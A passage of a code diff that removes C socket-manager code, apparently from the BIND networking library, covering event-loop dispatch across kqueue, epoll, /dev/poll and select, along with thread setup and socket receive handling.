-			   "accepted connection, new socket %p",
-			   dev->newsocket);
-
-		ISC_LIST_APPEND(manager->socklist, NEWCONNSOCK(dev), link);
-
-		UNLOCK(&manager->lock);
-
-		inc_stats(manager->stats, sock->statsindex[STATID_ACCEPT]);
-	} else {
-		inc_stats(manager->stats, sock->statsindex[STATID_ACCEPTFAIL]);
-		isc_refcount_decrementz(&NEWCONNSOCK(dev)->references);
-		free_socket((isc_socket_t **)&dev->newsocket);
-	}
-
-	/*
-	 * Fill in the done event details and send it off.
-	 */
-	dev->result = result;
-	task = dev->ev_sender;
-	dev->ev_sender = sock;
-
-	isc_task_sendtoanddetach(&task, ISC_EVENT_PTR(&dev), sock->threadid);
-	return;
-
-soft_error:
-	watch_fd(thread, sock->fd, SELECT_POKE_ACCEPT);
-	UNLOCK(&sock->lock);
-
-	inc_stats(manager->stats, sock->statsindex[STATID_ACCEPTFAIL]);
-	return;
-}
-
-static void
-internal_recv(isc_socket_t *sock) {
-	isc_socketevent_t *dev;
-
-	INSIST(VALID_SOCKET(sock));
-	REQUIRE(sock->fd >= 0);
-
-	dev = ISC_LIST_HEAD(sock->recv_list);
-	if (dev == NULL) {
-		goto finish;
-	}
-
-	socket_log(sock, NULL, IOEVENT, "internal_recv: event %p -> task %p",
-		   dev, dev->ev_sender);
-
-	/*
-	 * Try to do as much I/O as possible on this socket.  There are no
-	 * limits here, currently.
-	 */
-	while (dev != NULL) {
-		switch (doio_recv(sock, dev)) {
-		case DOIO_SOFT:
-			goto finish;
-
-		case DOIO_EOF:
-			/*
-			 * read of 0 means the remote end was closed.
-			 * Run through the event queue and dispatch all
-			 * the events with an EOF result code.
-			 */
-			do {
-				dev->result = ISC_R_EOF;
-				send_recvdone_event(sock, &dev);
-				dev = ISC_LIST_HEAD(sock->recv_list);
-			} while (dev != NULL);
-			goto finish;
-
-		case DOIO_SUCCESS:
-		case DOIO_HARD:
-			send_recvdone_event(sock, &dev);
-			break;
-		}
-
-		dev = ISC_LIST_HEAD(sock->recv_list);
-	}
-
-finish:
-	if (ISC_LIST_EMPTY(sock->recv_list)) {
-		unwatch_fd(&sock->manager->threads[sock->threadid], sock->fd,
-			   SELECT_POKE_READ);
-	}
-}
-
-static void
-internal_send(isc_socket_t *sock) {
-	isc_socketevent_t *dev;
-
-	INSIST(VALID_SOCKET(sock));
-	REQUIRE(sock->fd >= 0);
-
-	dev = ISC_LIST_HEAD(sock->send_list);
-	if (dev == NULL) {
-		goto finish;
-	}
-	socket_log(sock, NULL, EVENT, "internal_send: event %p -> task %p", dev,
-		   dev->ev_sender);
-
-	/*
-	 * Try to do as much I/O as possible on this socket.  There are no
-	 * limits here, currently.
-	 */
-	while (dev != NULL) {
-		switch (doio_send(sock, dev)) {
-		case DOIO_SOFT:
-			goto finish;
-
-		case DOIO_HARD:
-		case DOIO_SUCCESS:
-			send_senddone_event(sock, &dev);
-			break;
-		}
-
-		dev = ISC_LIST_HEAD(sock->send_list);
-	}
-
-finish:
-	if (ISC_LIST_EMPTY(sock->send_list)) {
-		unwatch_fd(&sock->manager->threads[sock->threadid], sock->fd,
-			   SELECT_POKE_WRITE);
-	}
-}
-
-/*
- * Process read/writes on each fd here.  Avoid locking
- * and unlocking twice if both reads and writes are possible.
- */
-static void
-process_fd(isc__socketthread_t *thread, int fd, bool readable, bool writeable) {
-	isc_socket_t *sock;
-	int lockid = FDLOCK_ID(fd);
-
-	/*
-	 * If the socket is going to be closed, don't do more I/O.
-	 */
-	LOCK(&thread->fdlock[lockid]);
-	if (thread->fdstate[fd] == CLOSE_PENDING) {
-		UNLOCK(&thread->fdlock[lockid]);
-
-		(void)unwatch_fd(thread, fd, SELECT_POKE_READ);
-		(void)unwatch_fd(thread, fd, SELECT_POKE_WRITE);
-		return;
-	}
-
-	sock = thread->fds[fd];
-	if (sock == NULL) {
-		UNLOCK(&thread->fdlock[lockid]);
-		return;
-	}
-
-	LOCK(&sock->lock);
-
-	if (sock->fd < 0) {
-		/*
-		 * Sock is being closed - the final external reference
-		 * is gone but it was not yet removed from event loop
-		 * and fdstate[]/fds[] as destroy() is waiting on
-		 * thread->fdlock[lockid] or sock->lock that we're holding.
-		 * Just release the locks and bail.
-		 */
-		UNLOCK(&sock->lock);
-		UNLOCK(&thread->fdlock[lockid]);
-		return;
-	}
-
-	REQUIRE(readable || writeable);
-	if (writeable) {
-		if (sock->connecting) {
-			internal_connect(sock);
-		} else {
-			internal_send(sock);
-		}
-	}
-
-	if (readable) {
-		if (sock->listener) {
-			internal_accept(sock); /* unlocks sock */
-		} else {
-			internal_recv(sock);
-			UNLOCK(&sock->lock);
-		}
-	} else {
-		UNLOCK(&sock->lock);
-	}
-
-	UNLOCK(&thread->fdlock[lockid]);
-
-	/*
-	 * Socket destruction might be pending, it will resume
-	 * after releasing fdlock and sock->lock.
-	 */
-}
-
-/*
- * process_fds is different for different event loops
- * it takes the events from event loops and for each FD
- * launches process_fd
- */
-#ifdef USE_KQUEUE
-static bool
-process_fds(isc__socketthread_t *thread, struct kevent *events, int nevents) {
-	int i;
-	bool readable, writable;
-	bool done = false;
-	bool have_ctlevent = false;
-	if (nevents == thread->nevents) {
-		/*
-		 * This is not an error, but something unexpected.  If this
-		 * happens, it may indicate the need for increasing
-		 * ISC_SOCKET_MAXEVENTS.
-		 */
-		thread_log(thread, ISC_LOGCATEGORY_GENERAL,
-			   ISC_LOGMODULE_SOCKET, ISC_LOG_INFO,
-			   "maximum number of FD events (%d) received",
-			   nevents);
-	}
-
-	for (i = 0; i < nevents; i++) {
-		REQUIRE(events[i].ident < thread->manager->maxsocks);
-		if (events[i].ident == (uintptr_t)thread->pipe_fds[0]) {
-			have_ctlevent = true;
-			continue;
-		}
-		readable = (events[i].filter == EVFILT_READ);
-		writable = (events[i].filter == EVFILT_WRITE);
-		process_fd(thread, events[i].ident, readable, writable);
-	}
-
-	if (have_ctlevent) {
-		done = process_ctlfd(thread);
-	}
-
-	return (done);
-}
-#elif defined(USE_EPOLL)
-static bool
-process_fds(isc__socketthread_t *thread, struct epoll_event *events,
-	    int nevents) {
-	int i;
-	bool done = false;
-	bool have_ctlevent = false;
-
-	if (nevents == thread->nevents) {
-		thread_log(thread, ISC_LOGCATEGORY_GENERAL,
-			   ISC_LOGMODULE_SOCKET, ISC_LOG_INFO,
-			   "maximum number of FD events (%d) received",
-			   nevents);
-	}
-
-	for (i = 0; i < nevents; i++) {
-		REQUIRE(events[i].data.fd < (int)thread->manager->maxsocks);
-		if (events[i].data.fd == thread->pipe_fds[0]) {
-			have_ctlevent = true;
-			continue;
-		}
-		if ((events[i].events & EPOLLERR) != 0 ||
-		    (events[i].events & EPOLLHUP) != 0) {
-			/*
-			 * epoll does not set IN/OUT bits on an erroneous
-			 * condition, so we need to try both anyway.  This is a
-			 * bit inefficient, but should be okay for such rare
-			 * events.  Note also that the read or write attempt
-			 * won't block because we use non-blocking sockets.
-			 */
-			int fd = events[i].data.fd;
-			events[i].events |= thread->epoll_events[fd];
-		}
-		process_fd(thread, events[i].data.fd,
-			   (events[i].events & EPOLLIN) != 0,
-			   (events[i].events & EPOLLOUT) != 0);
-	}
-
-	if (have_ctlevent) {
-		done = process_ctlfd(thread);
-	}
-
-	return (done);
-}
-#elif defined(USE_DEVPOLL)
-static bool
-process_fds(isc__socketthread_t *thread, struct pollfd *events, int nevents) {
-	int i;
-	bool done = false;
-	bool have_ctlevent = false;
-
-	if (nevents == thread->nevents) {
-		thread_log(thread, ISC_LOGCATEGORY_GENERAL,
-			   ISC_LOGMODULE_SOCKET, ISC_LOG_INFO,
-			   "maximum number of FD events (%d) received",
-			   nevents);
-	}
-
-	for (i = 0; i < nevents; i++) {
-		REQUIRE(events[i].fd < (int)thread->manager->maxsocks);
-		if (events[i].fd == thread->pipe_fds[0]) {
-			have_ctlevent = true;
-			continue;
-		}
-		process_fd(thread, events[i].fd,
-			   (events[i].events & POLLIN) != 0,
-			   (events[i].events & POLLOUT) != 0);
-	}
-
-	if (have_ctlevent) {
-		done = process_ctlfd(thread);
-	}
-
-	return (done);
-}
-#elif defined(USE_SELECT)
-static void
-process_fds(isc__socketthread_t *thread, int maxfd, fd_set *readfds,
-	    fd_set *writefds) {
-	int i;
-
-	REQUIRE(maxfd <= (int)thread->manager->maxsocks);
-
-	for (i = 0; i < maxfd; i++) {
-		if (i == thread->pipe_fds[0] || i == thread->pipe_fds[1]) {
-			continue;
-		}
-		process_fd(thread, i, FD_ISSET(i, readfds),
-			   FD_ISSET(i, writefds));
-	}
-}
-#endif /* ifdef USE_KQUEUE */
-
-static bool
-process_ctlfd(isc__socketthread_t *thread) {
-	int msg, fd;
-
-	for (;;) {
-		select_readmsg(thread, &fd, &msg);
-
-		thread_log(thread, IOEVENT,
-			   "watcher got message %d for socket %d", msg, fd);
-
-		/*
-		 * Nothing to read?
-		 */
-		if (msg == SELECT_POKE_NOTHING) {
-			break;
-		}
-
-		/*
-		 * Handle shutdown message.  We really should
-		 * jump out of this loop right away, but
-		 * it doesn't matter if we have to do a little
-		 * more work first.
-		 */
-		if (msg == SELECT_POKE_SHUTDOWN) {
-			return (true);
-		}
-
-		/*
-		 * This is a wakeup on a socket.  Look
-		 * at the event queue for both read and write,
-		 * and decide if we need to watch on it now
-		 * or not.
-		 */
-		wakeup_socket(thread, fd, msg);
-	}
-
-	return (false);
-}
-
-/*
- * This is the thread that will loop forever, always in a select or poll
- * call.
- *
- * When select returns something to do, do whatever's necessary and post
- * an event to the task that was requesting the action.
- */
-static isc_threadresult_t
-netthread(void *uap) {
-	isc__socketthread_t *thread = uap;
-	isc_socketmgr_t *manager = thread->manager;
-	(void)manager;
-	bool done;
-	int cc;
-	if (manager->nthreads > 1) {
-		isc_thread_setaffinity(thread->threadid);
-	}
-#ifdef USE_KQUEUE
-	const char *fnname = "kevent()";
-#elif defined(USE_EPOLL)
-	const char *fnname = "epoll_wait()";
-#elif defined(USE_DEVPOLL)
-	isc_result_t result;
-	const char *fnname = "ioctl(DP_POLL)";
-	struct dvpoll dvp;
-	int pass;
-#if defined(ISC_SOCKET_USE_POLLWATCH)
-	pollstate_t pollstate = poll_idle;
-#endif /* if defined(ISC_SOCKET_USE_POLLWATCH) */
-#elif defined(USE_SELECT)
-	const char *fnname = "select()";
-	int maxfd;
-	int ctlfd;
-#endif /* ifdef USE_KQUEUE */
-	char strbuf[ISC_STRERRORSIZE];
-
-#if defined(USE_SELECT)
-	/*
-	 * Get the control fd here.  This will never change.
-	 */
-	ctlfd = thread->pipe_fds[0];
-#endif /* if defined(USE_SELECT) */
-	done = false;
-	while (!done) {
-		do {
-#ifdef USE_KQUEUE
-			cc = kevent(thread->kqueue_fd, NULL, 0, thread->events,
-				    thread->nevents, NULL);
-#elif defined(USE_EPOLL)
-			cc = epoll_wait(thread->epoll_fd, thread->events,
-					thread->nevents, -1);
-#elif defined(USE_DEVPOLL)
-			/*
-			 * Re-probe every thousand calls.
-			 */
-			if (thread->calls++ > 1000U) {
-				result = isc_resource_getcurlimit(
-					isc_resource_openfiles,
-					&thread->open_max);
-				if (result != ISC_R_SUCCESS) {
-					thread->open_max = 64;
-				}
-				thread->calls = 0;
-			}
-			for (pass = 0; pass < 2; pass++) {
-				dvp.dp_fds = thread->events;
-				dvp.dp_nfds = thread->nevents;
-				if (dvp.dp_nfds >= thread->open_max) {
-					dvp.dp_nfds = thread->open_max - 1;
-				}
-#ifndef ISC_SOCKET_USE_POLLWATCH
-				dvp.dp_timeout = -1;
-#else  /* ifndef ISC_SOCKET_USE_POLLWATCH */
-				if (pollstate == poll_idle) {
-					dvp.dp_timeout = -1;
-				} else {
-					dvp.dp_timeout =
-						ISC_SOCKET_POLLWATCH_TIMEOUT;
-				}
-#endif /* ISC_SOCKET_USE_POLLWATCH */
-				cc = ioctl(thread->devpoll_fd, DP_POLL, &dvp);
-				if (cc == -1 && errno == EINVAL) {
-					/*
-					 * {OPEN_MAX} may have dropped.  Look
-					 * up the current value and try again.
-					 */
-					result = isc_resource_getcurlimit(
-						isc_resource_openfiles,
-						&thread->open_max);
-					if (result != ISC_R_SUCCESS) {
-						thread->open_max = 64;
-					}
-				} else {
-					break;
-				}
-			}
-#elif defined(USE_SELECT)
-			/*
-			 * We will have only one thread anyway, we can lock
-			 * manager lock and don't care
-			 */
-			LOCK(&manager->lock);
-			memmove(thread->read_fds_copy, thread->read_fds,
-				thread->fd_bufsize);
-			memmove(thread->write_fds_copy, thread->write_fds,
-				thread->fd_bufsize);
-			maxfd = thread->maxfd + 1;
-			UNLOCK(&manager->lock);
-
-			cc = select(maxfd, thread->read_fds_copy,
-				    thread->write_fds_copy, NULL, NULL);
-#endif /* USE_KQUEUE */
-
-			if (cc < 0 && !SOFT_ERROR(errno)) {
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				FATAL_ERROR(__FILE__, __LINE__, "%s failed: %s",
-					    fnname, strbuf);
-			}
-
-#if defined(USE_DEVPOLL) && defined(ISC_SOCKET_USE_POLLWATCH)
-			if (cc == 0) {
-				if (pollstate == poll_active) {
-					pollstate = poll_checking;
-				} else if (pollstate == poll_checking) {
-					pollstate = poll_idle;
-				}
-			} else if (cc > 0) {
-				if (pollstate == poll_checking) {
-					/*
-					 * XXX: We'd like to use a more
-					 * verbose log level as it's actually an
-					 * unexpected event, but the kernel bug
-					 * reportedly happens pretty frequently
-					 * (and it can also be a false positive)
-					 * so it would be just too noisy.
-					 */
-					thread_log(thread,
-						   ISC_LOGCATEGORY_GENERAL,
-						   ISC_LOGMODULE_SOCKET,
-						   ISC_LOG_DEBUG(1),
-						   "unexpected POLL timeout");
-				}
-				pollstate = poll_active;
-			}
-#endif /* if defined(USE_DEVPOLL) && defined(ISC_SOCKET_USE_POLLWATCH) */
-		} while (cc < 0);
-
-#if defined(USE_KQUEUE) || defined(USE_EPOLL) || defined(USE_DEVPOLL)
-		done = process_fds(thread, thread->events, cc);
-#elif defined(USE_SELECT)
-		process_fds(thread, maxfd, thread->read_fds_copy,
-			    thread->write_fds_copy);
-
-		/*
-		 * Process reads on internal, control fd.
-		 */
-		if (FD_ISSET(ctlfd, thread->read_fds_copy)) {
-			done = process_ctlfd(thread);
-		}
-#endif /* if defined(USE_KQUEUE) || defined(USE_EPOLL) || defined(USE_DEVPOLL) \
-	* */
-	}
-
-	thread_log(thread, TRACE, "watcher exiting");
-	return ((isc_threadresult_t)0);
-}
-
-void
-isc_socketmgr_setreserved(isc_socketmgr_t *manager, uint32_t reserved) {
-	REQUIRE(VALID_MANAGER(manager));
-
-	manager->reserved = reserved;
-}
-
-void
-isc_socketmgr_maxudp(isc_socketmgr_t *manager, unsigned int maxudp) {
-	REQUIRE(VALID_MANAGER(manager));
-
-	manager->maxudp = maxudp;
-}
-
-/*
- * Setup socket thread, thread->manager and thread->threadid must be filled.
- */
-
-static isc_result_t
-setup_thread(isc__socketthread_t *thread) {
-	isc_result_t result = ISC_R_SUCCESS;
-	int i;
-	char strbuf[ISC_STRERRORSIZE];
-
-	REQUIRE(thread != NULL);
-	REQUIRE(VALID_MANAGER(thread->manager));
-	REQUIRE(thread->threadid >= 0 &&
-		thread->threadid < thread->manager->nthreads);
-
-	thread->fds =
-		isc_mem_get(thread->manager->mctx,
-			    thread->manager->maxsocks * sizeof(isc_socket_t *));
-
-	memset(thread->fds, 0,
-	       thread->manager->maxsocks * sizeof(isc_socket_t *));
-
-	thread->fdstate = isc_mem_get(thread->manager->mctx,
-				      thread->manager->maxsocks * sizeof(int));
-
-	memset(thread->fdstate, 0, thread->manager->maxsocks * sizeof(int));
-
-	thread->fdlock = isc_mem_get(thread->manager->mctx,
-				     FDLOCK_COUNT * sizeof(isc_mutex_t));
-
-	for (i = 0; i < FDLOCK_COUNT; i++) {
-		isc_mutex_init(&thread->fdlock[i]);
-	}
-
-	if (pipe(thread->pipe_fds) != 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "pipe() failed: %s",
-				 strbuf);
-		return (ISC_R_UNEXPECTED);
-	}
-	RUNTIME_CHECK(make_nonblock(thread->pipe_fds[0]) == ISC_R_SUCCESS);
-
-#ifdef USE_KQUEUE
-	thread->nevents = ISC_SOCKET_MAXEVENTS;
-	thread->events = isc_mem_get(thread->manager->mctx,
-				     sizeof(struct kevent) * thread->nevents);
-
-	thread->kqueue_fd = kqueue();
-	if (thread->kqueue_fd == -1) {
-		result = isc__errno2result(errno);
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "kqueue failed: %s",
-				 strbuf);
-		isc_mem_put(thread->manager->mctx, thread->events,
-			    sizeof(struct kevent) * thread->nevents);
-		return (result);
-	}
-
-	result = watch_fd(thread, thread->pipe_fds[0], SELECT_POKE_READ);
-	if (result != ISC_R_SUCCESS) {
-		close(thread->kqueue_fd);
-		isc_mem_put(thread->manager->mctx, thread->events,
-			    sizeof(struct kevent) * thread->nevents);
-	}
-	return (result);
-
-#elif defined(USE_EPOLL)
-	thread->nevents = ISC_SOCKET_MAXEVENTS;
-	thread->epoll_events =
-		isc_mem_get(thread->manager->mctx,
-			    (thread->manager->maxsocks * sizeof(uint32_t)));
-
-	memset(thread->epoll_events, 0,
-	       thread->manager->maxsocks * sizeof(uint32_t));
-
-	thread->events =
-		isc_mem_get(thread->manager->mctx,
-			    sizeof(struct epoll_event) * thread->nevents);
-
-	thread->epoll_fd = epoll_create(thread->nevents);
-	if (thread->epoll_fd == -1) {
-		result = isc__errno2result(errno);
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "epoll_create failed: %s",
-				 strbuf);
-		return (result);
-	}
-
-	result = watch_fd(thread, thread->pipe_fds[0], SELECT_POKE_READ);
-	return (result);
-
-#elif defined(USE_DEVPOLL)
-	thread->nevents = ISC_SOCKET_MAXEVENTS;
-	result = isc_resource_getcurlimit(isc_resource_openfiles,
-					  &thread->open_max);
-	if (result != ISC_R_SUCCESS) {
-		thread->open_max = 64;
-	}
-	thread->calls = 0;
-	thread->events = isc_mem_get(thread->manager->mctx,
-				     sizeof(struct pollfd) * thread->nevents);
-
-	/*
-	 * Note: fdpollinfo should be able to support all possible FDs, so
-	 * it must have maxsocks entries (not nevents).
-	 */
-	thread->fdpollinfo =
-		isc_mem_get(thread->manager->mctx,
-			    sizeof(pollinfo_t) * thread->manager->maxsocks);
-	memset(thread->fdpollinfo, 0,
-	       sizeof(pollinfo_t) * thread->manager->maxsocks);
-	thread->devpoll_fd = open("/dev/poll", O_RDWR);
-	if (thread->devpoll_fd == -1) {
-		result = isc__errno2result(errno);
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "open(/dev/poll) failed: %s", strbuf);
-		isc_mem_put(thread->manager->mctx, thread->events,
-			    sizeof(struct pollfd) * thread->nevents);
-		isc_mem_put(thread->manager->mctx, thread->fdpollinfo,
-			    sizeof(pollinfo_t) * thread->manager->maxsocks);
-		return (result);
-	}
-	result = watch_fd(thread, thread->pipe_fds[0], SELECT_POKE_READ);
-	if (result != ISC_R_SUCCESS) {
-		close(thread->devpoll_fd);
-		isc_mem_put(thread->manager->mctx, thread->events,
-			    sizeof(struct pollfd) * thread->nevents);
-		isc_mem_put(thread->manager->mctx, thread->fdpollinfo,
-			    sizeof(pollinfo_t) * thread->manager->maxsocks);
-		return (result);
-	}
-
-	return (ISC_R_SUCCESS);
-#elif defined(USE_SELECT)
-	UNUSED(result);
-
-#if ISC_SOCKET_MAXSOCKETS > FD_SETSIZE
-	/*
-	 * Note: this code should also cover the case of MAXSOCKETS <=
-	 * FD_SETSIZE, but we separate the cases to avoid possible portability
-	 * issues regarding howmany() and the actual representation of fd_set.
-	 */
-	thread->fd_bufsize = howmany(manager->maxsocks, NFDBITS) *
-			     sizeof(fd_mask);
-#else  /* if ISC_SOCKET_MAXSOCKETS > FD_SETSIZE */
-	thread->fd_bufsize = sizeof(fd_set);
-#endif /* if ISC_SOCKET_MAXSOCKETS > FD_SETSIZE */
-
-	thread->read_fds = isc_mem_get(thread->manager->mctx,
-				       thread->fd_bufsize);
-	thread->read_fds_copy = isc_mem_get(thread->manager->mctx,
-					    thread->fd_bufsize);
-	thread->write_fds = isc_mem_get(thread->manager->mctx,
-					thread->fd_bufsize);
-	thread->write_fds_copy = isc_mem_get(thread->manager->mctx,
-					     thread->fd_bufsize);
-	memset(thread->read_fds, 0, thread->fd_bufsize);
-	memset(thread->write_fds, 0, thread->fd_bufsize);
-
-	(void)watch_fd(thread, thread->pipe_fds[0], SELECT_POKE_READ);
-	thread->maxfd = thread->pipe_fds[0];
-
-	return (ISC_R_SUCCESS);
-#endif /* USE_KQUEUE */
-}
-
-static void
-cleanup_thread(isc_mem_t *mctx, isc__socketthread_t *thread) {
-	isc_result_t result;
-	int i;
-
-	result = unwatch_fd(thread, thread->pipe_fds[0], SELECT_POKE_READ);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "epoll_ctl(DEL) failed");
-	}
-#ifdef USE_KQUEUE
-	close(thread->kqueue_fd);
-	isc_mem_put(mctx, thread->events,
-		    sizeof(struct kevent) * thread->nevents);
-#elif defined(USE_EPOLL)
-	close(thread->epoll_fd);
-
-	isc_mem_put(mctx, thread->events,
-		    sizeof(struct epoll_event) * thread->nevents);
-#elif defined(USE_DEVPOLL)
-	close(thread->devpoll_fd);
-	isc_mem_put(mctx, thread->events,
-		    sizeof(struct pollfd) * thread->nevents);
-	isc_mem_put(mctx, thread->fdpollinfo,
-		    sizeof(pollinfo_t) * thread->manager->maxsocks);
-#elif defined(USE_SELECT)
-	if (thread->read_fds != NULL) {
-		isc_mem_put(mctx, thread->read_fds, thread->fd_bufsize);
-	}
-	if (thread->read_fds_copy != NULL) {
-		isc_mem_put(mctx, thread->read_fds_copy, thread->fd_bufsize);
-	}
-	if (thread->write_fds != NULL) {
-		isc_mem_put(mctx, thread->write_fds, thread->fd_bufsize);
-	}
-	if (thread->write_fds_copy != NULL) {
-		isc_mem_put(mctx, thread->write_fds_copy, thread->fd_bufsize);
-	}
-#endif /* USE_KQUEUE */
-	for (i = 0; i < (int)thread->manager->maxsocks; i++) {
-		if (thread->fdstate[i] == CLOSE_PENDING) {
-			/* no need to lock */
-			(void)close(i);
-		}
-	}
-
-#if defined(USE_EPOLL)
-	isc_mem_put(thread->manager->mctx, thread->epoll_events,
-		    thread->manager->maxsocks * sizeof(uint32_t));
-#endif /* if defined(USE_EPOLL) */
-	isc_mem_put(thread->manager->mctx, thread->fds,
-		    thread->manager->maxsocks * sizeof(isc_socket_t *));
-	isc_mem_put(thread->manager->mctx, thread->fdstate,
-		    thread->manager->maxsocks * sizeof(int));
-
-	for (i = 0; i < FDLOCK_COUNT; i++) {
-		isc_mutex_destroy(&thread->fdlock[i]);
-	}
-	isc_mem_put(thread->manager->mctx, thread->fdlock,
-		    FDLOCK_COUNT * sizeof(isc_mutex_t));
-}
-
-isc_result_t
-isc__socketmgr_create(isc_mem_t *mctx, isc_socketmgr_t **managerp,
-		      unsigned int maxsocks, int nthreads) {
-	int i;
-	isc_socketmgr_t *manager;
-
-	REQUIRE(managerp != NULL && *managerp == NULL);
-
-	if (maxsocks == 0) {
-		maxsocks = ISC_SOCKET_MAXSOCKETS;
-	}
-
-	manager = isc_mem_get(mctx, sizeof(*manager));
-
-	/* zero-clear so that necessary cleanup on failure will be easy */
-	memset(manager, 0, sizeof(*manager));
-	manager->maxsocks = maxsocks;
-	manager->reserved = 0;
-	manager->maxudp = 0;
-	manager->nthreads = nthreads;
-	manager->stats = NULL;
-
-	manager->magic = SOCKET_MANAGER_MAGIC;
-	manager->mctx = NULL;
-	ISC_LIST_INIT(manager->socklist);
-	isc_mutex_init(&manager->lock);
-	isc_condition_init(&manager->shutdown_ok);
-
-	/*
-	 * Start up the select/poll thread.
-	 */
-	manager->threads = isc_mem_get(mctx, sizeof(isc__socketthread_t) *
-						     manager->nthreads);
-	isc_mem_attach(mctx, &manager->mctx);
-
-	for (i = 0; i < manager->nthreads; i++) {
-		manager->threads[i].manager = manager;
-		manager->threads[i].threadid = i;
-		setup_thread(&manager->threads[i]);
-		isc_thread_create(netthread, &manager->threads[i],
-				  &manager->threads[i].thread);
-		char tname[1024];
-		sprintf(tname, "isc-socket-%d", i);
-		isc_thread_setname(manager->threads[i].thread, tname);
-	}
-
-	*managerp = manager;
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_socketmgr_getmaxsockets(isc_socketmgr_t *manager, unsigned int *nsockp) {
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(nsockp != NULL);
-
-	*nsockp = manager->maxsocks;
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_socketmgr_setstats(isc_socketmgr_t *manager, isc_stats_t *stats) {
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(ISC_LIST_EMPTY(manager->socklist));
-	REQUIRE(manager->stats == NULL);
-	REQUIRE(isc_stats_ncounters(stats) == isc_sockstatscounter_max);
-
-	isc_stats_attach(stats, &manager->stats);
-}
-
-void
-isc__socketmgr_destroy(isc_socketmgr_t **managerp) {
-	isc_socketmgr_t *manager;
-
-	/*
-	 * Destroy a socket manager.
-	 */
-
-	REQUIRE(managerp != NULL);
-	manager = *managerp;
-	REQUIRE(VALID_MANAGER(manager));
-
-	LOCK(&manager->lock);
-
-	/*
-	 * Wait for all sockets to be destroyed.
-	 */
-	while (!ISC_LIST_EMPTY(manager->socklist)) {
-		manager_log(manager, CREATION, "sockets exist");
-		WAIT(&manager->shutdown_ok, &manager->lock);
-	}
-
-	UNLOCK(&manager->lock);
-
-	/*
-	 * Here, poke our select/poll thread.  Do this by closing the write
-	 * half of the pipe, which will send EOF to the read half.
-	 * This is currently a no-op in the non-threaded case.
-	 */
-	for (int i = 0; i < manager->nthreads; i++) {
-		select_poke(manager, i, 0, SELECT_POKE_SHUTDOWN);
-	}
-
-	/*
-	 * Wait for thread to exit.
-	 */
-	for (int i = 0; i < manager->nthreads; i++) {
-		isc_thread_join(manager->threads[i].thread, NULL);
-		cleanup_thread(manager->mctx, &manager->threads[i]);
-	}
-	/*
-	 * Clean up.
-	 */
-	isc_mem_put(manager->mctx, manager->threads,
-		    sizeof(isc__socketthread_t) * manager->nthreads);
-	(void)isc_condition_destroy(&manager->shutdown_ok);
-
-	if (manager->stats != NULL) {
-		isc_stats_detach(&manager->stats);
-	}
-	isc_mutex_destroy(&manager->lock);
-	manager->magic = 0;
-	isc_mem_putanddetach(&manager->mctx, manager, sizeof(*manager));
-
-	*managerp = NULL;
-}
-
-static isc_result_t
-socket_recv(isc_socket_t *sock, isc_socketevent_t *dev, isc_task_t *task,
-	    unsigned int flags) {
-	int io_state;
-	bool have_lock = false;
-	isc_task_t *ntask = NULL;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	dev->ev_sender = task;
-
-	if (sock->type == isc_sockettype_udp) {
-		io_state = doio_recv(sock, dev);
-	} else {
-		LOCK(&sock->lock);
-		have_lock = true;
-
-		if (ISC_LIST_EMPTY(sock->recv_list)) {
-			io_state = doio_recv(sock, dev);
-		} else {
-			io_state = DOIO_SOFT;
-		}
-	}
-
-	switch (io_state) {
-	case DOIO_SOFT:
-		/*
-		 * We couldn't read all or part of the request right now, so
-		 * queue it.
-		 *
-		 * Attach to socket and to task
-		 */
-		isc_task_attach(task, &ntask);
-		dev->attributes |= ISC_SOCKEVENTATTR_ATTACHED;
-
-		if (!have_lock) {
-			LOCK(&sock->lock);
-			have_lock = true;
-		}
-
-		/*
-		 * Enqueue the request.  If the socket was previously not being
-		 * watched, poke the watcher to start paying attention to it.
-		 */
-		bool do_poke = ISC_LIST_EMPTY(sock->recv_list);
-		ISC_LIST_ENQUEUE(sock->recv_list, dev, ev_link);
-		if (do_poke) {
-			select_poke(sock->manager, sock->threadid, sock->fd,
-				    SELECT_POKE_READ);
-		}
-
-		socket_log(sock, NULL, EVENT,
-			   "socket_recv: event %p -> task %p", dev, ntask);
-
-		if ((flags & ISC_SOCKFLAG_IMMEDIATE) != 0) {
-			result = ISC_R_INPROGRESS;
-		}
-		break;
-
-	case DOIO_EOF:
-		dev->result = ISC_R_EOF;
-		/* fallthrough */
-
-	case DOIO_HARD:
-	case DOIO_SUCCESS:
-		if ((flags & ISC_SOCKFLAG_IMMEDIATE) == 0) {
-			send_recvdone_event(sock, &dev);
-		}
-		break;
-	}
-
-	if (have_lock) {
-		UNLOCK(&sock->lock);
-	}
-
-	return (result);
-}
-
-isc_result_t
-isc_socket_recv(isc_socket_t *sock, isc_region_t *region, unsigned int minimum,
-		isc_task_t *task, isc_taskaction_t action, void *arg) {
-	isc_socketevent_t *dev;
-	isc_socketmgr_t *manager;
-
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(action != NULL);
-
-	manager = sock->manager;
-	REQUIRE(VALID_MANAGER(manager));
-
-	INSIST(sock->bound);
-
-	dev = allocate_socketevent(manager->mctx, sock, ISC_SOCKEVENT_RECVDONE,
-				   action, arg);
-	if (dev == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	return (isc_socket_recv2(sock, region, minimum, task, dev, 0));
-}
-
-isc_result_t
-isc_socket_recv2(isc_socket_t *sock, isc_region_t *region, unsigned int minimum,
-		 isc_task_t *task, isc_socketevent_t *event,
-		 unsigned int flags) {
-	event->ev_sender = sock;
-	event->result = ISC_R_UNSET;
-	event->region = *region;
-	event->n = 0;
-	event->offset = 0;
-	event->attributes = 0;
-
-	/*
-	 * UDP sockets are always partial read.
-	 */
-	if (sock->type == isc_sockettype_udp) {
-		event->minimum = 1;
